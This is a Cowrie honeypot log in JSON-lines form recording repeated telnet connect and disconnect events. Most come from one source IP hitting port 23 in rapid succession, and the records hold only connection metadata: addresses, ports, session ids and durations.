{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56726,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b506ee04c78","protocol":"telnet","message":"New connection: 162.55.233.176:56726 (159.203.135.109:23) [session: 3b506ee04c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:38.757816Z"}
{"eventid":"cowrie.session.closed","duration":40.99520802497864,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:38.872503Z","src_ip":"206.189.32.23","session":"e7915063cc33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56732,"dst_ip":"159.203.135.109","dst_port":23,"session":"29d74de04ec6","protocol":"telnet","message":"New connection: 162.55.233.176:56732 (159.203.135.109:23) [session: 29d74de04ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:39.420107Z"}
{"eventid":"cowrie.session.closed","duration":34.81395363807678,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:39.805625Z","src_ip":"162.55.233.176","session":"705d423661e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.92652893066406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:39.818447Z","src_ip":"162.55.233.176","session":"c5ce660dbfd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56738,"dst_ip":"159.203.135.109","dst_port":23,"session":"e702b61b0756","protocol":"telnet","message":"New connection: 162.55.233.176:56738 (159.203.135.109:23) [session: e702b61b0756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:40.482008Z"}
{"eventid":"cowrie.session.closed","duration":35.95000457763672,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:40.676318Z","src_ip":"162.55.233.176","session":"a9ba596862b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56754,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbc8d788c751","protocol":"telnet","message":"New connection: 162.55.233.176:56754 (159.203.135.109:23) [session: fbc8d788c751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:40.712483Z"}
{"eventid":"cowrie.session.closed","duration":31.31393575668335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:40.724854Z","src_ip":"162.55.233.176","session":"5392ff8c4dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56768,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bed313b32ea","protocol":"telnet","message":"New connection: 162.55.233.176:56768 (159.203.135.109:23) [session: 0bed313b32ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:40.883578Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"85da0a7e8825","protocol":"telnet","message":"New connection: 162.55.233.176:56778 (159.203.135.109:23) [session: 85da0a7e8825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:40.945430Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56792,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab048c269abf","protocol":"telnet","message":"New connection: 162.55.233.176:56792 (159.203.135.109:23) [session: ab048c269abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:41.070300Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56800,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f0c9d3da4a6","protocol":"telnet","message":"New connection: 162.55.233.176:56800 (159.203.135.109:23) [session: 2f0c9d3da4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:41.263180Z"}
{"eventid":"cowrie.session.closed","duration":35.29621601104736,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:41.304409Z","src_ip":"162.55.233.176","session":"6418f12626ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596866369247437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:41.318830Z","src_ip":"162.55.233.176","session":"39771bec0bb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56812,"dst_ip":"159.203.135.109","dst_port":23,"session":"e056f1a1b07f","protocol":"telnet","message":"New connection: 162.55.233.176:56812 (159.203.135.109:23) [session: e056f1a1b07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:41.583021Z"}
{"eventid":"cowrie.session.closed","duration":30.98039436340332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:41.771533Z","src_ip":"162.55.233.176","session":"f7581454ba08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56820,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ea0f66f1f82","protocol":"telnet","message":"New connection: 162.55.233.176:56820 (159.203.135.109:23) [session: 4ea0f66f1f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:42.359970Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56826,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c55c6248128","protocol":"telnet","message":"New connection: 162.55.233.176:56826 (159.203.135.109:23) [session: 6c55c6248128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:42.423436Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56836,"dst_ip":"159.203.135.109","dst_port":23,"session":"253c0507b94d","protocol":"telnet","message":"New connection: 162.55.233.176:56836 (159.203.135.109:23) [session: 253c0507b94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:42.838205Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52238,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6b364eadfe4","protocol":"telnet","message":"New connection: 162.55.233.176:52238 (159.203.135.109:23) [session: f6b364eadfe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:43.022582Z"}
{"eventid":"cowrie.session.closed","duration":32.97889423370361,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:43.388890Z","src_ip":"162.55.233.176","session":"ae2e8d8109dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.11204123497009,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:43.916792Z","src_ip":"162.55.233.176","session":"c14a7d2775df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.69224953651428,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:43.993517Z","src_ip":"162.55.233.176","session":"5650365f2be5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.99946045875549,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:44.210702Z","src_ip":"162.55.233.176","session":"f17c70f0e860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52246,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f7930a41314","protocol":"telnet","message":"New connection: 162.55.233.176:52246 (159.203.135.109:23) [session: 4f7930a41314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:44.228671Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52256,"dst_ip":"159.203.135.109","dst_port":23,"session":"53a79bc20217","protocol":"telnet","message":"New connection: 162.55.233.176:52256 (159.203.135.109:23) [session: 53a79bc20217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:44.363721Z"}
{"eventid":"cowrie.session.closed","duration":30.99309802055359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:44.384370Z","src_ip":"162.55.233.176","session":"8dd04877ba7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52272,"dst_ip":"159.203.135.109","dst_port":23,"session":"949334656849","protocol":"telnet","message":"New connection: 162.55.233.176:52272 (159.203.135.109:23) [session: 949334656849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:44.442974Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52276,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f44cfb27edf","protocol":"telnet","message":"New connection: 162.55.233.176:52276 (159.203.135.109:23) [session: 6f44cfb27edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:44.500479Z"}
{"eventid":"cowrie.session.closed","duration":33.70046329498291,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:44.766155Z","src_ip":"162.55.233.176","session":"77d29d3ecfe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53436,"dst_ip":"10.17.0.5","dst_port":23,"session":"adce0f0f5b14","protocol":"telnet","message":"New connection: 206.189.32.23:53436 (10.17.0.5:23) [session: adce0f0f5b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:44.925459Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49506,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc927170e5b8","protocol":"telnet","message":"New connection: 188.208.141.113:49506 (10.17.0.5:23) [session: cc927170e5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:44.953626Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52286,"dst_ip":"159.203.135.109","dst_port":23,"session":"51cd3fc3eccf","protocol":"telnet","message":"New connection: 162.55.233.176:52286 (159.203.135.109:23) [session: 51cd3fc3eccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:45.054171Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49508,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a02cd8f9828","protocol":"telnet","message":"New connection: 188.208.141.113:49508 (10.17.0.5:23) [session: 7a02cd8f9828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:45.183336Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52288,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fb05d42fedf","protocol":"telnet","message":"New connection: 162.55.233.176:52288 (159.203.135.109:23) [session: 8fb05d42fedf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:45.215492Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52302,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b5711b371b1","protocol":"telnet","message":"New connection: 162.55.233.176:52302 (159.203.135.109:23) [session: 3b5711b371b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:45.442074Z"}
{"eventid":"cowrie.session.closed","duration":33.68798637390137,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:45.457461Z","src_ip":"162.55.233.176","session":"82aac07a4f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52310,"dst_ip":"159.203.135.109","dst_port":23,"session":"8924a4ac11f5","protocol":"telnet","message":"New connection: 162.55.233.176:52310 (159.203.135.109:23) [session: 8924a4ac11f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:45.571830Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52326,"dst_ip":"159.203.135.109","dst_port":23,"session":"09a7219046bc","protocol":"telnet","message":"New connection: 162.55.233.176:52326 (159.203.135.109:23) [session: 09a7219046bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:45.581995Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52328,"dst_ip":"159.203.135.109","dst_port":23,"session":"95c2f1a483d1","protocol":"telnet","message":"New connection: 162.55.233.176:52328 (159.203.135.109:23) [session: 95c2f1a483d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:45.712704Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52338,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ae71599523d","protocol":"telnet","message":"New connection: 162.55.233.176:52338 (159.203.135.109:23) [session: 3ae71599523d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:45.924329Z"}
{"eventid":"cowrie.session.closed","duration":31.91257929801941,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:46.020701Z","src_ip":"162.55.233.176","session":"6187cc7ea0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52350,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ce39b9d1a8","protocol":"telnet","message":"New connection: 162.55.233.176:52350 (159.203.135.109:23) [session: a0ce39b9d1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:46.152780Z"}
{"eventid":"cowrie.session.closed","duration":30.679094791412354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:46.419945Z","src_ip":"162.55.233.176","session":"d133036dcc24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52356,"dst_ip":"159.203.135.109","dst_port":23,"session":"1354c972a39d","protocol":"telnet","message":"New connection: 162.55.233.176:52356 (159.203.135.109:23) [session: 1354c972a39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:46.425355Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52370,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b2c39fad936","protocol":"telnet","message":"New connection: 162.55.233.176:52370 (159.203.135.109:23) [session: 4b2c39fad936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:46.751297Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52386,"dst_ip":"159.203.135.109","dst_port":23,"session":"38ba37443ce0","protocol":"telnet","message":"New connection: 162.55.233.176:52386 (159.203.135.109:23) [session: 38ba37443ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:46.788646Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52392,"dst_ip":"159.203.135.109","dst_port":23,"session":"08e2ce0ef728","protocol":"telnet","message":"New connection: 162.55.233.176:52392 (159.203.135.109:23) [session: 08e2ce0ef728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:46.906609Z"}
{"eventid":"cowrie.session.closed","duration":35.472766399383545,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:46.998684Z","src_ip":"162.55.233.176","session":"5a315924403c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52400,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd0229401e3b","protocol":"telnet","message":"New connection: 162.55.233.176:52400 (159.203.135.109:23) [session: dd0229401e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:47.302498Z"}
{"eventid":"cowrie.session.closed","duration":31.38243293762207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:47.496832Z","src_ip":"162.55.233.176","session":"8f2d11fec934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.127559900283813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:47.835312Z","src_ip":"162.55.233.176","session":"8dd7c2192210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.323145151138306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:47.861670Z","src_ip":"162.55.233.176","session":"192a78534a6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.902082443237305,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:48.096275Z","src_ip":"206.189.32.23","session":"2b16fec73148","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52412,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a95a8588e5f","protocol":"telnet","message":"New connection: 162.55.233.176:52412 (159.203.135.109:23) [session: 2a95a8588e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:48.224574Z"}
{"eventid":"cowrie.session.closed","duration":41.22354769706726,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:48.401031Z","src_ip":"162.55.233.176","session":"0bb8179931a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52420,"dst_ip":"159.203.135.109","dst_port":23,"session":"c979a68859c9","protocol":"telnet","message":"New connection: 162.55.233.176:52420 (159.203.135.109:23) [session: c979a68859c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:48.534239Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52430,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce3014fb39e4","protocol":"telnet","message":"New connection: 162.55.233.176:52430 (159.203.135.109:23) [session: ce3014fb39e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:48.620994Z"}
{"eventid":"cowrie.session.closed","duration":33.659542083740234,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:48.729823Z","src_ip":"162.55.233.176","session":"3b475197d136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78973650932312,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:48.900006Z","src_ip":"162.55.233.176","session":"8ed3adf51438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.671164751052856,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:49.181878Z","src_ip":"188.208.141.113","session":"575c6455508b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52444,"dst_ip":"159.203.135.109","dst_port":23,"session":"16f80eca03a6","protocol":"telnet","message":"New connection: 162.55.233.176:52444 (159.203.135.109:23) [session: 16f80eca03a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:49.546071Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52458,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a3e72fe1bba","protocol":"telnet","message":"New connection: 162.55.233.176:52458 (159.203.135.109:23) [session: 6a3e72fe1bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:49.572725Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52460,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef31217af14d","protocol":"telnet","message":"New connection: 162.55.233.176:52460 (159.203.135.109:23) [session: ef31217af14d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:49.657103Z"}
{"eventid":"cowrie.session.closed","duration":36.70327115058899,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:49.737980Z","src_ip":"162.55.233.176","session":"2547d49e5895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52468,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f9edb6bc50e","protocol":"telnet","message":"New connection: 162.55.233.176:52468 (159.203.135.109:23) [session: 7f9edb6bc50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:49.806262Z"}
{"eventid":"cowrie.session.closed","duration":34.957037687301636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:50.087565Z","src_ip":"162.55.233.176","session":"f685bddf1999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32507348060608,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:50.173826Z","src_ip":"162.55.233.176","session":"6750df998a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52476,"dst_ip":"159.203.135.109","dst_port":23,"session":"66f98b0051ef","protocol":"telnet","message":"New connection: 162.55.233.176:52476 (159.203.135.109:23) [session: 66f98b0051ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:50.355474Z"}
{"eventid":"cowrie.session.closed","duration":32.833545446395874,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:50.373178Z","src_ip":"162.55.233.176","session":"8b99b0e14d6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.04671096801758,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:50.634244Z","src_ip":"162.55.233.176","session":"fba064b827d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39624524116516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:50.697349Z","src_ip":"162.55.233.176","session":"ae4d59a9222d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52478,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dbe66c8b512","protocol":"telnet","message":"New connection: 162.55.233.176:52478 (159.203.135.109:23) [session: 5dbe66c8b512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:51.206751Z"}
{"eventid":"cowrie.session.closed","duration":30.611623525619507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:51.211584Z","src_ip":"162.55.233.176","session":"39718161ed5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52488,"dst_ip":"159.203.135.109","dst_port":23,"session":"23c8f707da91","protocol":"telnet","message":"New connection: 162.55.233.176:52488 (159.203.135.109:23) [session: 23c8f707da91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:51.352794Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52490,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e4b0693bd08","protocol":"telnet","message":"New connection: 162.55.233.176:52490 (159.203.135.109:23) [session: 5e4b0693bd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:51.596888Z"}
{"eventid":"cowrie.session.closed","duration":38.98223638534546,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:51.817049Z","src_ip":"162.55.233.176","session":"7eaec9e68d7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42332696914673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:51.955572Z","src_ip":"162.55.233.176","session":"9d407507fc7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0186493396759,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:51.960090Z","src_ip":"162.55.233.176","session":"9fff2ba38d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52500,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fa14a08338a","protocol":"telnet","message":"New connection: 162.55.233.176:52500 (159.203.135.109:23) [session: 5fa14a08338a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:52.247303Z"}
